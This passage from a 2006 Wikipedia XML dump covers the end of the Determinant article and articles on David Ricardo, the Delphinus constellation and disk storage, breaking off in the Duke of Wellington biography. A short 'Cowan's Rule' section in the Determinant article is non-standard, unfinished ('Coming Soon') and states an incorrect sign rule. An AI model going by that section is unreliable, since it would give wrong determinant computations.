The [[Pfaffian]] is an analog of the determinant for &lt;math&gt;2n\times 2n&lt;/math&gt; antisymmetric matrices. It is a polynomial of degree &lt;math&gt;n&lt;/math&gt;, and its square is equal to the determinant of the matrix.

There is no direct generalisation of determinants, or of the notion of volume, to spaces of infinite dimension. There are various approaches possible, including the use of the extension of the [[trace of a matrix]], and [[functional determinant]]s.

== Algorithmic implementation ==
The naive method of implementing an algorithm to compute the determinant is to use Laplace's formula for expansion by cofactors. This approach is extremely inefficient in general, however, as it is [[Big O notation|of order]] ''n''! (''n'' [[factorial]]) for an ''n''&amp;times;''n'' matrix ''M''. An improvement to order ''n''&lt;sup&gt;3&lt;/sup&gt; can be achieved by using [[LU decomposition]] to write ''M''&amp;nbsp;=&amp;nbsp;''LU'' for triangular matrices ''L'' and ''U''. Now, det ''M'' = det ''LU'' = det ''L'' det ''U'', and since ''L'' and ''U'' are triangular the determinant of each is simply the product of its diagonal elements. Alternatively one can perform the [[Cholesky decomposition]] and find the determinant in a similar fashion.

== History ==

Historically, determinants were considered before matrices. Originally, a determinant was defined as a property of a [[system of linear equations]]. The determinant &quot;determines&quot; whether the system has a unique solution (which occurs precisely if the determinant is non-zero). In this sense, two-by-two determinants were considered by [[Gerolamo Cardano|Cardano]] at the end of the [[16th century]] and larger ones by [[Gottfried Leibniz|Leibniz]] about 100 years later. Following him [[Gabriel Cramer|Cramer]] (1750) added to the theory, treating the subject in relation to sets of equations. The recurrent law was first announced by [[Bezout]] (1764).

It was [[Vandermonde]] (1771) who first recognized determinants as independent functions. [[Laplace]] (1772) gave the general method of expanding a determinant in terms of its
complementary [[minor (matrix)|minor]]s: Vandermonde had already given a
special case. Immediately following, [[Joseph Louis Lagrange|Lagrange]] (1773) treated
determinants of the second and third order. Lagrange was the first
to apply determinants to questions outside [[elimination theory]]; he proved
many special cases of general identities.

[[Carl Friedrich Gauss|Gauss]] (1801) made the next advance. Like Lagrange, he made much use of determinants in the theory of numbers. He introduced the word '''''determinants''''' (Laplace had used ''resultant''), though not in the present signification, but rather as applied to the [[discriminant]] of a [[algebraic form|quantic]]. Gauss also arrived at the notion of reciprocal (inverse) determinants, and came very near the multiplication theorem. 

The next contributor of importance is [[Binet]] (1811, 1812), who formally
stated the theorem relating to the product of two matrices of &lt;math&gt;m&lt;/math&gt;
columns and &lt;math&gt;n&lt;/math&gt; rows, which for the special case of &lt;math&gt;m = n&lt;/math&gt; reduces
to the multiplication theorem. On the same day (Nov. 30, 1812) that
Binet presented his paper to the Academy, [[Cauchy]] also presented one
on the subject. (See [[Cauchy-Binet formula]].) In this he used the word '''''determinant''''' in its
present sense, summarized and simplified what was then known on the
subject, improved the notation, and gave the multiplication theorem
with a proof more satisfactory than Binet's. With him begins the theory in its generality.

The next important figure was [[Carl Gustav Jakob Jacobi|Jacobi]] (from 1827). He early used the functional determinant which Sylvester later called the [[Jacobian]], and in his memoirs in ''[[Crelle]]'' for 1841 he specially treats this subject, as well as the class of alternating functions which Sylvester has called ''alternants''. About the time of Jacobi's last memoirs, [[James Joseph Sylvester|Sylvester]] (1839) and [[Arthur Cayley|Cayley]] began their work.

The study of special forms of determinants has been the natural result of the completion of the general theory. Axisymmetric determinants have been studied by [[Lebesgue]], [[Otto Hesse|Hesse]], and Sylvester;
[[persymmetric]] determinants by Sylvester and [[Hermann Hankel | Hankel]]; [[circulant]]s by [[Eugène Charles Catalan|Catalan]], [[Spottiswoode]], [[James Whitbread Lee Glaisher|Glaisher]], and [[Scott]]; skew determinants and [[Pfaffian]]s, in connection with the theory of [[orthogonal transformation]], by Cayley; continuants by Sylvester; [[Wronskian]]s (so called by [[Thomas Muir (mathematician)|Muir]]) by [[Elwin Bruno Christoffel|Christoffel]] and [[Ferdinand Georg Frobenius|Frobenius]]; compound determinants by Sylvester, [[Reiss]], and [[Picquet]]; Jacobians and [[Hessian matrix|Hessian]]s by Sylvester; and symmetric gauche determinants by [[Trudi]]. Of the text-books on the subject Spottiswoode's was the first. In America, Hanus (1886) and Weld (1893) published treatises.


== Cowan's Rule ==
To compute the determinant an even &lt;math&gt;n x n&lt;/math&gt; matrix: Row reduce the initial matrix to achieve one quadrant containing the zero matrix, ensuring you follow the rules listed in the computation section. Next compute the determinate of the diagonal quadrants. The determinate of the initial matrix will be the product of the determinates of the diagonal quadrants with one caveat: if the diagonal quadrants were 2 &amp; 3 you must multiply by (-1).

Example:
Coming Soon



==External links==
*[http://www.bluebit.gr/matrix-calculator/ Online Matrix Calculator] Online determinant calculator.
*[http://bonnie.ourweb.net/~cached/determinant.php Cached's Determinant Calculator] Online determinant calculator.

[[Category:Matrix theory]]
[[Category:Linear algebra]]
[[Category:Abstract algebra]]
[[Category:Algebra]]

[[ar:محدد]]
[[cs:Determinant]]
[[de:Determinante (Mathematik)]]
[[et:Determinant]]
[[es:Determinante (matemáticas)]]
[[fr:Déterminant (mathématiques)]]
[[ko:행렬식]]
[[is:Ákveða]]
[[it:Determinante]]
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[[lt:Determinantas]]
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[[sv:Determinant]]
[[vi:Định thức]]</text>
    </revision>
  </page>
  <page>
    <title>David Ricardo</title>
    <id>8470</id>
    <revision>
      <id>42057671</id>
      <timestamp>2006-03-03T14:40:17Z</timestamp>
      <contributor>
        <username>John wesley</username>
        <id>689662</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Infobox_Biography |
  subject_name   = David Ricardo |
  image_name     = David_ricardo.jpg |
  image_caption  = David Ricardo |
  date_of_birth  = [[April 18]], [[1772]] |
  place_of_birth = [[London]], [[England]] |
  dead=dead |
  date_of_death  = [[September 11]], [[1823]] |
  place_of_death = [[Gloucestershire]], [[England]]
}}
'''David Ricardo''' ([[April 18]], [[1772]] &amp;ndash; [[September 11]], [[1823]]), a British [[political economy|political economist]], is often credited with systematizing economics, and was one of the most influential of the [[classical economics|classical economist]]s.  He was also a successful businessman, financier and speculator, and amassed a considerable fortune.

==Personal life==
Born in [[London]], Ricardo was the third of seventeen children in a [[Sephardi|Sephardic Jewish]] family (from [[Portugal]]) that emigrated from [[Netherlands|The Netherlands]] to [[England]] just prior to his birth. At age 14, after a brief schooling in Holland,  Ricardo joined his father at the [[London Stock Exchange]], where he began to learn about the workings of finance. This beginning set the stage for Ricardo's later success in the stock market and real estate. 

Ricardo rejected the [[Orthodox_Judaism|orthodox Jewish beliefs]] of his family and eloped with a [[Religious Society of Friends|Quakeress]], [[Priscilla Anne Wilkinson]], when he was 21, leading to estrangement from his close family.  It seems likely, for example, that his mother never spoke to him again. This was around the same time Ricardo became a [[Unitarian]].

Ricardo became interested in economics after reading [[Adam Smith]]'s ''[[The Wealth of Nations]]'' in [[1799]] on a vacation to the English resort of [[Bath]]. This was Ricardo's first contact with economics. He wrote his first economics article at age 37 and within another ten years he reached the height of his fame.

Ricardo's work with the stock exchange made him quite wealthy, which allowed him to retire from business in [[1814]] at the age of 42. He then purchased and moved to [[Gatcombe Park]], an estate in [[Gloucestershire]].

In [[1819]], Ricardo took a seat in the [[Parliament of the United Kingdom|British parliament]] as a [[Peers and Parliament|representative]] of [[Portarlington]], a [[Peerage of Ireland|borough of Ireland]]. He held the post until the year of his death in [[1823]]. As an [[Member of Parliament|MP]], Ricardo advocated [[free trade]] and the repeal of the [[Corn Laws]].

Ricardo was a close friend of [[James Mill]], who encouraged him in his political ambitions and writings about economics. Other notable friends included [[Jeremy Bentham]] and [[Thomas Malthus]], with whom Ricardo had a considerable debate (in correspondence) over such things as the role of land owners in a society. He also was a member of London's intellectuals, later becoming a member of Malthus' Political Economy Club, and a member of the King of Clubs.

He died at Gatcombe Park at 51 years of age.

==Ideas==

Ricardo's most famous work is his ''[[Principles of Political Economy and Taxation]]''. Ricardo opens the first chapter with a statement of the
[[labor theory of value]]. Later in this chapter, he demonstrates that
this theory cannot be true. He retained the theory, however, as an
approximation. Ricardo continued to work on his value theory to the end
of his life.

This book introduces the theory of [[comparative advantage]]. According to Ricardo's theory, even if a country could produce everything more efficiently than another country, it would reap gains from specializing in what it was best at producing and trading with other nations.  (Case &amp; Fair, 1999: 812&amp;ndash;818). Ricardo believed that wages should be left to free competition, so there should be no restrictions on the importation of agricultural products from abroad.  

The benefits of comparative advantage are both distributional and related to improved real income.  Within Ricardo's theory distributional effects included that foreign trade could not directly affect profits because profits respond only in changes to the level of wages.  The effects on income are always beneficial because foreign trade does not effect value.

Comparative advantage forms the basis of modern trade theory, reformulated as the [[Heckscher-Ohlin theorem]], which states that a country has a comparative advantage in the production of a product if the country is relatively well-endowed with inputs that are used intensively in producing the product. (Case &amp; Fair, 1999: 822).

Like Adam Smith, Ricardo was also an opponent of protectionism for national economies, especially for agriculture. He believed that the British &quot;[[Corn Laws]]&quot; &amp;mdash; tariffs on agriculture products &amp;mdash; ensured that less productive domestic land would be harvested and rents would be driven up. (Case &amp; Fair, 1999: 812, 813). Thus, the surplus would be directed more toward feudal landlords and away from the emerging industrial capitalists.  Since landlords tended to squander their wealth on luxuries, rather than investments, Ricardo believed that the Corn Laws were leading to the economic stagnation of the British economy. Parliament repealed the Corn Laws in 1846.

Another idea associated with Ricardo is [[Ricardian equivalence]], an argument suggesting that in some circumstances a government's choice of how to pay for its spending (''i.e.,'' whether to use tax revenue or issue debt and run a deficit) might have no effect on the economy. Ironically, while the proposition bears his name, he does not seem to have believed it. Economist [[Robert Barro]] is responsible for its modern prominence.

Ricardo is responsible for developing theories of rent, wages, and profits.  He defined rent as the difference in the costs of the production between different tracts of land.  The model for this theory basically said that while only of one grade of land is being used for cultivation, rent will not exist, but when multiple grades of land are being utilized, rent will be charged on the higher grades and will increase with the ascension of the grade.  As such, Ricardo believed that the process of economic development, which increased land utilization and eventually led to the cultivation of poorer land, benefited first and foremost the landowners because they would receive the rent payments either in money or in product.  

The Theory of Wages, simply stated said that wages in the long run will approximate the level needed to keep workers alive.  Ricardo believed that an increase in the price of food would raise the &quot;natural price of labor&quot; which is not fixed.  A rise in wages leads to a rise in the population level which leads to an increase in the supply of labor thus decreasing wages.

In his Theory of Profit, Ricardo stated that as money wages increase, profits decrease because the price of manufactured goods remains at an established level.  He said in his ''Essay'' ''on'' ''Profits'' &quot;Profits depend on high or low wages, wages on the price of necessaries, and the price of necessaries chiefly on the price of food.&quot;

==Publications==
Ricardo's publications included:
* ''The High Price of Bullion, a Proof of the Depreciation of Bank Notes'' ([[1810]]), which advocated the adoption of a metallic [[currency]]
* ''Essay on the Influence of a Low Price of Corn on the Profits of Stock'' ([[1815]]), which argued that repealing the [[Corn Laws]] would distribute more wealth to the productive members of society
* ''Principles of Political Economy and Taxation'' ([[1817]]), an analysis that concluded that [[land (economics)|land]] rent grows as population increases. It also clearly laid out the theory of [[comparative advantage]], which showed that all nations could benefit from [[free trade]], even if a nation was less efficient at producing all kinds of goods than its trading partners.


==References==
*Case, Karl E. &amp; Fair, Ray C. (1999). ''Principles of Economics'' (5th ed.). Prentice-Hall. ISBN 0-13-961905-4.
*[[Samuel Hollander]] - The Economics of David Ricardo (University of Toronto Press, 1979)

==see also==
* [[List of international trade topics]]

==External links==
{{Wikisource author}}
* [http://www.econlib.org/library/Ricardo/ricP.html &lt;i&gt;On the Principles of Political Economy and Taxation&lt;/i&gt;], by David Ricardo. Complete, fully-searchable text at the Library of Economics and Liberty.
* [http://www.econlib.org/library/Enc/bios/Ricardo.html Biography], at the &lt;i&gt;Concise Encyclopedia of Economics&lt;/i&gt;
* [http://cepa.newschool.edu/het/profiles/ricardo.htm Biography] at New School University
* [http://www.tutor2u.net/newsmanager/templates/?a=722&amp;z=58 Biography on Ricardo for A level students] on tutor2u

[[Category:1772 births|Ricardo, David]]
[[Category:1823 deaths|Ricardo, David]]
[[Category:British economists|Ricardo, David]]
[[Category:Utilitarians|Ricardo, David]]
[[Category:International trade]]
[[category:International economics]]

[[bn:ডেভিড রিকার্ডো]]
[[ca:David Ricardo]]
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[[lt:Davidas Rikardas]]
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[[no:David Ricardo]]
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    </revision>
  </page>
  <page>
    <title>Delphinus</title>
    <id>8471</id>
    <revision>
      <id>38749244</id>
      <timestamp>2006-02-08T10:46:05Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{otheruses2|Delphinus}}
{{Infobox Constellation|
name = Delphinus |
abbreviation = Del |
genitive = Delphini |
symbology = [[Dolphin]] |
RA = 20.7 |
dec= +13.8 |
areatotal = 189 |
arearank = 69th |
numberstars = 0 |
starname = Rotanev (&amp;beta; Del) |
starmagnitude = 3.63 |
meteorshowers = None |
bordering =
*[[Vulpecula]]
*[[Sagitta]]
*[[Aquila (constellation)|Aquila]]
*[[Aquarius]]
*[[Equuleus]]
*[[Pegasus (constellation)|Pegasus]] |
latmax = 90 |
latmin = 70 |
month = September |
notes=}}
'''Delphinus''', being [[Latin]] for ''[[Dolphin]]'', is a rather small (ranked 69th) northern [[constellation]] very close to the [[celestial equator]]. It was already included in [[Ptolemy]]'s list of 48 constellations and also forms part of the modern list of 88 constellations approved by the [[International Astronomical Union|IAU]]. 

It looks remarkably like a leaping dolphin and thus can easily be recognized in the sky. Delphinus is surrounded (clockwise from north) by the little fox [[Vulpecula]], the flying arrow [[Sagitta]], the eagle [[Aquila (constellation)|Aquila]], the water carrier [[Aquarius]], the little horse [[Equuleus]] and finally the flying horse [[Pegasus (constellation)|Pegasus]].

==Notable features==

Here are some of its stars: 
*[[Alpha Delphini|&amp;alpha; Del]] (Sualocin): B9&amp;nbsp;IV, 3.77m (multiple star system with 6 components)
*[[Beta Delphini|&amp;beta; Del]] (Rotanev): F5&amp;nbsp;IV, 3.63m
*[[Gamma Delphini|&amp;gamma; Del]]: one of the finest double stars in the sky.
**&amp;gamma;&lt;sup&gt;1&lt;/sup&gt; Del: F7&amp;nbsp;V, 5.14m
**&amp;gamma;&lt;sup&gt;2&lt;/sup&gt; Del: K1&amp;nbsp;IV, 4.27m
*[[Delta Delphini|&amp;delta; Del]]: A7&amp;nbsp;IIIp, 4.43m
*The above mentioned stars form an [[asterism (astronomy)|asterism]] called ''Job's Coffin''.
*[[Epsilon Delphini|&amp;epsilon; Del]] (Deneb Dulfim, or the ''tail of the Dolphin'') is a star of spectral class B6&amp;nbsp;III with a magnitude of 4
*[[R Delphini|R Del]]: Mira-type variable star with a period of 285.5 days; magnitude range between 7.6 and 13.8

==Notable deep sky objects==

*NGC 6891: [[Planetary nebula]]; 10.5m
*NGC 6934: This [[globular cluster]] is of magnitude 9.75 
*NGC 7006: at a distance of about 185,000 light-years this globular cluster is extremely remote; 11.5m

==History==

The names of the two brightest stars of this constellation, Sualocin (Alpha Delphini) and Rotanev (Beta Delphini), are not, as one might expect, names dating from Antiquity, but instead are quite new. They first appeared in a star catalogue of 1814 that was published at the Palermo Observatory in Italy. When read backwards they form the name Nicolaus Venator which is the latinized version of the name of the assistant director of that observatory at that time: Niccolò Cacciatore (both Cacciatore and Venator mean hunter).

==Mythology==

There are two major stories from Greek mythology behind this constellation. 

According to the first one, Greek god [[Poseidon]] wanted to marry [[Amphitrite]], a [[nereid]]. She, however, wanting to protect her virginity, fled to the Atlas mountains. Her suitor then sent out several searchers, among them a certain Delphinus. Delphinus accidentally stumbled upon her and was able to persuade Amphitrite to accept Poseidon's wooing. Out of gratitude the god placed the image of a dolphin among the stars.

The second story tells of the Greek poet Arion of Lesbos (7th century BC), a court musician at the palace of Periander, ruler of Corinth. Arion had amassed a fortune during his travels to Sicily and Italy. On his way home from [[Tarentum]] his wealth caused the crew of his ship to conspire against him. Threatened with death, Arion asked to be granted a last wish which the crew granted: he wanted to sing a dirge. This he did and while doing so flung himself into the Sea from where he was rescued by a dolphin which had been charmed by Arion's music. The dolphin carried Arion to the coast of Greece and left.

==Stars==
:Stars with proper names:
:*  ([[Alpha Delphini|9/&amp;alpha; Del]]) 3.77 '''Sualocin''' [''Scalovin, Svalocin, Nicolaus'']
:*: &lt; Nicolaus [backwards]. One &quot;Nicolaus Venator&quot; ad-libbed these names.
:*  ([[Beta Delphini|6/&amp;beta; Del]]) 3.63 '''Rotanev''' [''Rotanen, Venator'']
:*: &lt; Venator [backwards]

:* ([[Epsilon Delphini|2/&amp;epsilon; Del]]) 4.03 '''Deneb Dulfim''' [Deneb, ''Al Dhanab al Dulfim'']
:*: &lt;  &amp;#1584;&amp;#1606;&amp;#1576; &amp;#1575;&amp;#1604;&amp;#1583;&amp;#1604;&amp;#1601;&amp;#1610;&amp;#1606;  ''ðanab ad-dulf&amp;#299;n''Tail of the Dolphin

:Stars with Bayer designations:
::[[Gamma1 Delphini|12/&amp;gamma;&lt;sup&gt;1&lt;/sup&gt; Del]] 5.15; [[Gamma2 Delphini|12/&amp;gamma;&lt;sup&gt;2&lt;/sup&gt; Del]] 4.27; [[Delta Delphini|11/&amp;delta; Del]] 4.43; [[Zeta Delphini|4/&amp;zeta; Del]] 4.64; [[Theta Delphini|8/&amp;theta; Del]] 5.69; [[Eta Delphini|3/&amp;eta; Del]] 5.39; [[Iota Delphini|5/&amp;iota; Del]] 5.42; [[Kappa Delphini|7/&amp;kappa; Del]] 5.07
:Stars with Flamsteed designations:
::[[1 Delphini|1 Del]] 6.03; [[10 Delphini|10 Del]] 6.01; [[13 Delphini|13 Del]] 5.57; [[14 Delphini|14 Del]] 6.32; [[15 Delphini|15 Del]] 6.01; [[16 Delphini|16 Del]] 5.54; [[17 Delphini|17 Del]] 5.19; [[18 Delphini|18 Del]] 5.51

==See also==
*[[Poseidon]]
*[[Dolphin]]

&lt;!-- Source of values for stars: www.alcyone.de; mainly from catalogues BSC/HR --&gt;
&lt;!-- Source of values for &quot;nebulae&quot;: mainly RNGC --&gt;

{{ConstellationsListedByPtolemy}}
{{ConstellationList}}

== External links ==
{{Commons|Delphinus (constellation)}}
* [http://www.allthesky.com/constellations/delphinus/ The Deep Photographic Guide to the Constellations: Delphinus]
[[Category:Delphinus constellation| ]]

[[ca:Dofí (constel·lació)]]
[[cs:Delfín (souhvězdí)]]
[[da:Delfinen]]
[[de:Delfin (Sternbild)]]
[[es:Delphinus (constelación)]]
[[fr:Dauphin (constellation)]]
[[ga:An Deilf]]
[[ko:돌고래자리]]
[[it:Delphinus]]
[[la:Delphinus (sidus)]]
[[lt:Delfinas (astronomija)]]
[[hu:Delfin (csillagkép)]]
[[nl:Dolfijn (sterrenbeeld)]]
[[ja:いるか座]]
[[nn:Delfinen]]
[[pl:Delfin (gwiazdozbiór)]]
[[pt:Delphinus]]
[[ru:Дельфин (созвездие)]]
[[sk:Súhvezdie Delfín]]
[[fi:Delfiini (tähdistö)]]
[[sv:Delfinen]]
[[th:กลุ่มดาวโลมา]]</text>
    </revision>
  </page>
  <page>
    <title>Disk storage</title>
    <id>8472</id>
    <revision>
      <id>41980920</id>
      <timestamp>2006-03-03T00:49:30Z</timestamp>
      <contributor>
        <ip>80.139.114.122</ip>
      </contributor>
      <text xml:space="preserve">'''Disk storage''' is a group of [[computer storage|data storage]] mechanisms for [[computer]]s; data are transferred to planar surfaces or disks for temporary or permanent storage. '''Disk drive''' is a [[peripheral device]] used to read from and write to a disk.

In the early [[1960s]] single data [[bit]]s were stored as magnetic charges in magnetic [[core memory]].

The scientists at [[International Business Machines|IBM]] in [[San Jose, California]] successfully created a rotating drum that was coated in a magnetically polarizable film that could be used to store data by changing and sensing magnetic polarization. The drum was superseded by disks, as the lower mass and inertia allowed smaller and lighter devices.  [[Reynold B. Johnson|Reynold Johnson]] an inventor who worked for IBM for many years is said to be the &quot;father&quot; of the disk drive. 

In [[Music|musical]] and [[sound reproduction|audio]] data storage, the first devices were also drum shaped, called [[phonograph cylinder]]s, which were popularized by [[Thomas Edison]]. In the [[1910s]] these were replaced as the dominant medium of [[sound recording]] by analogue disc records, commonly called ''[[gramophone record]]s'' (in [[British English]]) or ''phonograph records'' (in [[American English]]).  From the [[1950s]] through the [[1980s]], audio recordings were also done on [[magnetic tape]] media of several types, although the [[vinyl record]] remained the most popular medium for home use. These were mostly replaced by [[compact disc]] technology, where the data is recorded in a digital format as [[optical]] information. This compact disc technology has been widely accepted, and data storage, using writable compact disks or [[CD-R]] devices is very common.

The [[random access memory|random-access]], low-density storage of disks has historically been complemented by 
the [[sequential access|sequential-access]] high density storage provided by [[magnetic tape]]. Vigorous innovation
in disk storage technology, coupled with less vigorous innovation in tape storage, 
has reduced the density and cost per bit gap between disk and tape, reducing the importance of
tape as a complement to disk.

In disk storage, there are the two primary access methods. [[Block storage]] means that the disk is divided into normally equal-sized blocks which are accessed at random by the operating system. [[File storage]] contains an [[abstraction (computer science)|abstraction]] of files and directories which can be used to refer to storage content. Another access method, [[content-addressable memory|content-addressable storage]] (CAS) uses a hashing algorithm to refer to pieces of data.

==Basic terminology==

* Rotation - how the disks spin.  Two techniques are common.
** [[Constant angular velocity]] (CAV) keeps the disk spinning at a fixed rate, measured in rotations per minute (RPM).  This means the heads cover more distance per unit of time on the outer tracks than on the inner tracks. This method is typical with computer hard drives. 
**[[Constant linear velocity]] (CLV) keeps the distance covered by the heads per unit time fixed. Thus the disk has to slow down as the arm moves to the outer tracks. 
* Low level [[disk format|formatting]] - establishing the tracks and sectors.
* Platter - individual disk. A disk drive may have several platters.
* Track - the circle of recorded data on a single recording surface for a single arm position.
* [[Sector]] -- tracks are further divided into sectors. A single read or write operation covers an entire sector.
*Cylinder -In a multi-head drive, all the tracks under the heads for a given arm position can be read without seek delay. The operating system treats the contents of those tracks as a single cylinder.
* Head - the device that reads and writes the information - magnetic or optical - on the disk surface. 
* Arm - the mechanical assembly that supports the heads as they move in and out.
* [[Seek time]] - average time needed to move the heads to a new track.
* [[rotational delay]] - average time, once the arm is on the right track before a head is over a desired sector.

==See also== 
*[[floppy disk]]
*[[hard disk]]
*[[compact disc]]
*[[Early IBM disk storage]]
*[[Redundant array of independent disks|RAID]]
*[[Solid state disk]]
*[[Fragmentation]]
*[[Advanced_Technology_Attachment|ATA]]
*[[SCSI]]
*[[Serial ATA]]
*[[ATA_over_Ethernet|AoE]] 
[[Category:Computer storage]]
[[Category:Rotating disc computer storage media|*Disk storage]]

[[uk:Диск]]</text>
    </revision>
  </page>
  <page>
    <title>Demisesquicentennial</title>
    <id>8473</id>
    <revision>
      <id>15906468</id>
      <timestamp>2004-09-06T18:23:50Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <comment>#REDIRECT [[Anniversary]] per vfd</comment>
      <text xml:space="preserve">#REDIRECT [[Anniversary]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur Wellesley, 1st Duke of Wellington</title>
    <id>8474</id>
    <revision>
      <id>42009833</id>
      <timestamp>2006-03-03T04:53:56Z</timestamp>
      <contributor>
        <ip>218.101.64.58</ip>
      </contributor>
      <text xml:space="preserve">{{Infobox PM
 | name=The Duke of Wellington
 | image=Field_Marshal_Arthur_Wellesley_KG_CCB_GCH_CoR_1st_Duke_of_Wellington.jpg
 | country=the United Kingdom
 | term=January 1828 &amp;ndash; November 1830&lt;br&gt;[[17 November]] [[1834]] &amp;ndash; [[9 December]] [[1834]]
 | before=[[Frederick John Robinson, 1st Viscount Goderich|The Viscount Goderich]]&lt;br/&gt;[[William Lamb, 2nd Viscount Melbourne|The Viscount Melbourne]]
 | after=[[Charles Grey, 2nd Earl Grey|The Earl Grey]]&lt;br/&gt;[[Robert Peel|Sir Robert Peel, Bt]]
 | date_birth=c. [[1 May]], [[1769]]
 | place_birth=Possibly [[Dublin]] or [[County Meath]]
 | date_death=[[14 September]], [[1852]]
 | place_death=[[Walmer]], [[Kent]]
 | party=[[Tory]]
}}

'''Arthur Wellesley, 1st Duke of Wellington''', [[Order of the Garter|KG]], [[Order of the Bath|GCB]], [[Royal Guelphic Order|GCH]], [[Privy Council of the United Kingdom|PC]], [[Royal Society|FRS]] ([[circa|c.]] [[1 May]] [[1769]] &amp;ndash; [[14 September]] [[1852]]) was an [[Ireland|Irish]] born [[United Kingdom|British]] soldier and statesman, widely considered one of the leading military and political figures of the 19th century. Commissioned an [[Ensign (rank)|Ensign]] in the [[British Army]], he would rise to prominence in the [[Napoleonic Wars]], eventually reaching the rank of [[Field Marshal]].

Wellington commanded the Allied forces during the [[Peninsular War]], pushing the [[Military of France|French Army]] out of [[Portugal]] and [[Spain]] and reaching southern [[France]]. Victorious and hailed as a hero in [[England]], he was obliged to return to continental Europe to command the Anglo-Allied forces at [[Battle of Waterloo|Waterloo]], after which [[Napoleon I of France|Napoleon]] was permanently exiled at [[St. Helena]]. Wellington was victorious over Napoleon and the French at each of six major battles, confirming his place as one of history's greatest generals and strategists.     

Wellington is often compared to the [[John Churchill, 1st Duke of Marlborough|1st Duke of Marlborough]], with whom he shared many characteristics, chiefly a transition to politics after a highly successful military career. He served as a [[Tory]] [[Prime Minister of the United Kingdom]] on two separate occasions, and was one of the leading figures in the [[House of Lords]] until his retirement in 1846.

==Early life==
Born '''The Honourable Arthur Wesley''' at either his family's [[social season]] [[Dublin]] residence, [[Mornington House]], or at his family seat, Dangan Castle near [[Trim]] in [[County Meath]], [[Ireland]]. He was the third son of [[Garret Wesley, 1st Earl of Mornington]]. His exact date of birth is a matter of some contention. All that exists is a church registry of the event marked a few days after it must have occurred. The most likely date is [[1 May]] 1769, but any day for a few days before or after is possible. He legally changed his surname (with other members of his family) to '''Wellesley''' in March 1798.

He came from a titled family long settled in Ireland; his father was the [[Garret Wesley, 1st Earl of Mornington|1st Earl of Mornington]], his eldest brother, who would inherit his father's Earldom, would be created [[Richard Wellesley, 1st Marquess Wellesley|Marquess Wellesley]], and two of his other brothers would be raised to the [[peerage]] as [[Baron Maryborough]] and [[Baron Cowley]]. 

Wesley was educated at [[Eton College|Eton]] from 1781 to 1785, but a lack of success there, combined with a shortage of family funds, led to a move to [[Brussels]] in [[Belgium]] to receive further education. In 1787, his mother and brother Richard purchased for Wesley a commission as an [[Ensign (rank)|Ensign]] in the [[List of Regiments of Foot|73rd Regiment of Foot]]; he attended the Military Academy of [[Angers]] in [[France]], after having received earlier training in England. His first assignment was as [[aide-de-camp]] to two successive [[Lord Lieutenant of Ireland|Lords Lieutenant of Ireland]] (1787&amp;ndash;1793). He was promoted to [[Lieutenant]] in 1788; two years later, he was elected as an independent [[Member of Parliament]] for [[Trim]] in the [[Irish House of Commons]] (in 1790), a position he held until 1797. He rose rapidly in rank (largely through the purchase system, which at that time allowed, and, indeed, generally required, officers in the British Army to purchase their rank) becoming [[Lieutenant-Colonel]] in the [[33rd Regiment of Foot]] in 1793. He participated in the unsuccessful campaign against the French in the [[Netherlands]] between 1794 and 1795, and was present at the Battle of [[Boxtel]].

In 1796, after a promotion to [[Colonel]], he accompanied his division to [[India]]. The next year, his elder brother, [[Richard Wellesley, 1st Marquess Wellesley|Richard Wesley, 2nd Earl of Mornington]], was appointed [[Governor-General of India]], and when the [[Fourth Anglo-Mysore War]] broke out from 1798 against the Sultan of [[Kingdom of Mysore|Mysore]], [[Tipu Sultan]], Arthur Wellesley commanded a division of his own. While serving in that capacity, he was appointed Governor of [[Seringapatam]] and [[Kingdom of Mysore|Mysore]], positions he held until 1805. He commanded the (always outnumbered) British army at [[Battle of Assaye|Assaye]], [[Argaon|Argaum]], and stormed the fortress at [[Gawilghur]]. Through his own skill as a commander, and the bravery of his Scotch troops, the Indians were defeated at every engagement, and, following the successful conclusion of that campaign, he was appointed to the supreme military and political command in the [[Deccan]]; while in that position he defeated the robber chieftain Dhundia Wagh (who had ironically escaped from prison in [[Seringapatam]] during the last battle of the [[Anglo-Mysore Wars|Mysore war]]) and also the [[Marathas]] (in 1803). In 1804, he was created a [[Order of the Bath|Knight of the Bath]], which would be the first of numerous [[British honours system|honours]] throughout his life. When his brother's term as [[Governor-General of India]] ended in 1805, the brothers returned together to England, where they were forced to defend their imperialistic (and expensive) employment of the British forces in India.

Wellesley was elected MP for [[Rye, East Sussex|Rye]] (in the [[British House of Commons]]) for six months in 1806; a year later, he was elected MP for [[Newport, Isle of Wight|Newport]] on the [[Isle of Wight]], a constituency he would represent for two years. During this time, he was an established [[Tory]], and in April 1807 (while representing [[St Michael]]), he was invested a [[Privy Council of the United Kingdom|Privy Counsellor]]. Additionally, he served as [[Chief Secretary for Ireland]] for some time. However, his political life would soon come to an abrupt end, and he would sail to Europe to participate in the [[Napoleonic Wars]].

==Napoleonic Wars==
[[Image:Goyawellington.jpeg|frame|right|Portrait of the Duke of Wellington by [[Francisco de Goya]], 1812-14.]]
It was in the following years that Wellesley undertook the events that made his place in history. Since 1789, [[France]] had been embroiled in the [[French Revolution]], and after seizing the government in 1799,  Napoleon had reached the heights of power in Europe. The British government was casting about for ways to end Napoleon's threat; and Wellesley helped to supply them.

First came junior command in an expedition to [[Denmark]] in [[1807]], which soon led to Wellesley's promotion to [[Lieutenant-General]] and a transfer to the theatre of the [[Peninsular War]]. Although that war was not going particularly well, it was the one place where the [[Portugal|Portuguese]] and the British had managed to put up a fight on the European mainland against France and her allies. (The disastrous [[Walcheren expedition]] was typical of the misfired British expeditions of the time.) Wellesley had submitted a memorandum to [[Lord Castlereagh]] on the defense of Portugal and Castlereagh appointed him head of an expeditionary force.  Wellesley defeated the French at the [[Battle of Roliça]] and the [[Battle of Vimeiro]] in [[1808]]. Unfortunately, Wellington was superceded in command of the British army, and he was compelled to sign the controversial [[Convention of Cintra]], which stipulated that the British navy would transport the French army out of [[Lisbon]] with all their loot,  and Wellesley was briefly recalled to Britain to face a tribunal brought about by political opponents in Parliament. In the meantime, however, Napoleon himself had come to Spain with his veteran troops, and when the Commander-in-Chief, [[John Moore (British soldier)|Sir John Moore]], died during the [[Battle of Corunna]], Wellesley was sent back to Portugal to command the tiny British garrison still in Lisbon.

